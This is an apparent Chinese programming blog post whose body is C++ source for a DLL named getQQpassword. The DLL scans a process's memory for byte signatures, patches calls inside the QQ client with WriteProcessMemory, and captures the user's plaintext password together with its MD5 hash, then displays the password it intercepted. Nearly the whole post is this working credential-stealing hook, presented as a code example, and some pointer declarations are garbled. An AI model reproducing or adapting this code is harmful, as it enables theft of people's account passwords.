--内存搜索内容--

Posted on 2010-08-29 11:50 傅先生 阅读(491) 评论(0)  编辑 收藏 引用 所属分类: 常用编程小例
// getQQpassword.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include  <string>

struct PasswordLink
{
  
charpassword;
  
charPWDhash;
  
PasswordLinknext;
};
PasswordLinkheadPasswordlink=NULL;
PasswordLinklastPasswordlink=NULL;
PVOID  jmpbackCstring;    //跳回远函数指针 用于下面call指令


void  mymemset(charPpassword,int l1,int l2)//被HOOK的memset call
{
  
char *szhash;
  
__asm
  
{
    
mov  eaxdword ptr [ebp+20];
    
mov szhash,eax;          //获取HASH指针
  
}

  
//MessageBox(0,szhash,"MD5",16);

  
int PWDlen;
  
Ppassword=(char*)((int)Ppassword+24);
  
PWDlen=::strlen(Ppassword);  //测试长度

  
if (PWDlen!=0
  {


    
if (headPasswordlink==NULL)//初始化表头
    
{
      
headPasswordlink=new(PasswordLink);
      
if (headPasswordlink!=NULL)
      {
        
headPasswordlink->next=NULL;
        
lastPasswordlink=headPasswordlink;
      }
    }

    
PasswordLinktmp;
    
tmp=new(PasswordLink);

    
if (tmp!=NULL)
    {  
      
lastPasswordlink->next=tmp;//将密码插入到链表
      
lastPasswordlink=tmp;
      
tmp->password=new(char[PWDlen+1]) ;
      
tmp->PWDhash=new(char[17]);
      
strcpy(tmp->password,Ppassword);//保存密码
      
memcpy((PVOID)tmp->PWDhash,(PVOID)szhash,16);
      
tmp->next=NULL;
    }
  
Ppassword=(char*)((int)Ppassword-24);
  
memset((PVOID)Ppassword,l1,l2);
  }
  
else
  
{
    ::
MessageBox(0,"长度测试错误","错误",16);
  }

}

void GetTrueMd5bufindex(charlpmd5,int i)//获取真密码HASH
{

  
int classp;
  
__asm
  
{
    
mov classp,ecx;//保存thiscall 的this指针 thiscall的调用方式 把this指针放到ECX中~
  
}
  
char szPWD[18];
  
lastPasswordlink=headPasswordlink->next;

  
int j;
  
while(lastPasswordlink)//在这里将记录下来的混合有假密码的hash和真hash比较 找出真的密码
  
{
    
j=0;
    
while(lastPasswordlink->PWDhash[j]==lpmd5[j] && j<=16)
    {
      
j++;
    }
    
if (j>=15)
    {
      ::
MessageBox(0,lastPasswordlink->password,"成功截获密码",16);
    }
    
lastPasswordlink=lastPasswordlink->next;
  }

  
lastPasswordlink=headPasswordlink;

  
if (lastPasswordlink!=NULL)
  {
    
//释放内存
    
lastPasswordlink=headPasswordlink->next;
    
delete headPasswordlink;
    
while(lastPasswordlink)
    {
      
headPasswordlink=lastPasswordlink->next;
      
delete[] lastPasswordlink->password;
      
delete[] lastPasswordlink->PWDhash;

      
delete lastPasswordlink;
      
lastPasswordlink=headPasswordlink;
    }
  }
  
else
  
{
    ::
MessageBox(0,"readpassword err","err",16);
  }

  
__asm
  
{
    
mov ecx,classp;//恢复类指针
    
push i;
    
push lpmd5;
    
call jmpbackCstring;//跳回本来要去的CSTRING
  
}
  
return;
}

//查找特征码函数
PVOID FindCodeAddress(PVOID startAddress,int SerchLen,charcode,int codeLen)
{

  
charbuf =new(char[8192]);//读取的程序bin放入的 缓冲区 8KB
  
PVOID AddressIndex=startAddress;  //开始地址
  
char *binBuf,*markcode;        //临时指针
  
int i=0,j=0;

  
while((((int)startAddress+SerchLen)-(int)AddressIndex)>=4096)
  {
    
if (::ReadProcessMemory((HANDLE)-1,AddressIndex,buf,4096,NULL))//先读取4KB放入缓冲区 4KB刚好为一个页能提高效率
    
{  
      
for (i=0;i<=4095;i++)    //在4KB中开始查找
      
{
        
binBuf=&buf[i];      //比较缓冲区的第I个字节
        
markcode=code;      //特征码
        
j=0;
        
while(*binBuf==*markcode && j<=codeLen)//开始比较
        
{
          
if (i+codeLen>=4095)//处理跨界的情况~ 比如在第4095个字节 这里貌似有效率问题
          
{
            
ReadProcessMemory((HANDLE)-1,(PVOID)(int(AddressIndex)+4096),(PVOID)(int(buf)+4096),4096,NULL);
          }
          
binBuf=(char*)((int)binBuf+1);    //比较下一个字节 直到全部比较完毕
          
markcode=(char*)((int)markcode+1);
          
j++;
        }
        
if (j==codeLen)      //长度相等~就是找到了~
        
{
          
return PVOID((int)AddressIndex+i);
        }
      }
    }
    
AddressIndex=PVOID((int)AddressIndex+4096);//查找下一个4KB
  
}
  
return NULL;
}

BOOL APIENTRY DllMainHANDLE hModule
                       
DWORD  ul_reason_for_call
                       
LPVOID lpReserved
           
)
{
    
switch (ul_reason_for_call)
  {
  
case DLL_PROCESS_ATTACH:

    
DWORD jmpbackme;
    
PVOID tmp;

//     tmp=FindCodeAddress(PVOID(0x00001000),0x7f000000,(char*)"\x8D\xBC\x1F\x78\xA4\x6A\xD7",7);
//     tmp=0;
//     ::MessageBoxA(0,"ok","test",16);
//     return TRUE;
    
tmp=FindCodeAddress(PVOID(0x50000000),0x20000000,(char*)"\x83\xC4\x14\xFF\x45\xE8\x83\x45\xDC\x10\x39\x75\xE8",13);

     
if (!tmp)
//     {
//       MessageBox(0,"i have found it !","提示",16);
//     }
//     else
    
{
      
MessageBox(0,"i can't find it","提示",16);
    }

    
tmp=(PVOID)(int(tmp)-5);
    
jmpbackme=int(mymemset)-int(tmp)-5;
    ::
WriteProcessMemory((HANDLE)-1,(PVOID)(int(tmp)+1),(LPVOID)&jmpbackme,4,NULL);//hook memset CALL

    
tmp=FindCodeAddress(tmp,0x1000,(char*)"\x10\x8D\x4D\xDC\x4E\xC1\xE6\x04\x03\x75\xE4\x56",12);
    
tmp=(PVOID)(int(tmp)+12);
    
jmpbackme=int(GetTrueMd5bufindex)-int(tmp)-5;

     
if (!tmp)
//     {
//       MessageBox(0,"i have found it !","提示",16);
//     }
//     else
    
{
      
MessageBox(0,"i can't find it","提示",16);
    }

    ::
ReadProcessMemory((HANDLE)-1,(PVOID)(int(tmp)+1),&jmpbackCstring,4,NULL);//保存原来指针用于后面回跳 cstring
    
jmpbackCstring=PVOID((int)jmpbackCstring+int(tmp));

    ::
WriteProcessMemory((HANDLE)-1,(PVOID)(int(tmp)+1),(LPVOID)&jmpbackme,4,NULL);//call cstring CALL

    
break;
  
case DLL_THREAD_ATTACH:

    
break;
  
case DLL_THREAD_DETACH:

    
break;
  
case DLL_PROCESS_DETACH:

    
break;
    }

    
return TRUE;
}

只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理


posts - 54, comments - 5, trackbacks - 0, articles - 2

Copyright © 傅先生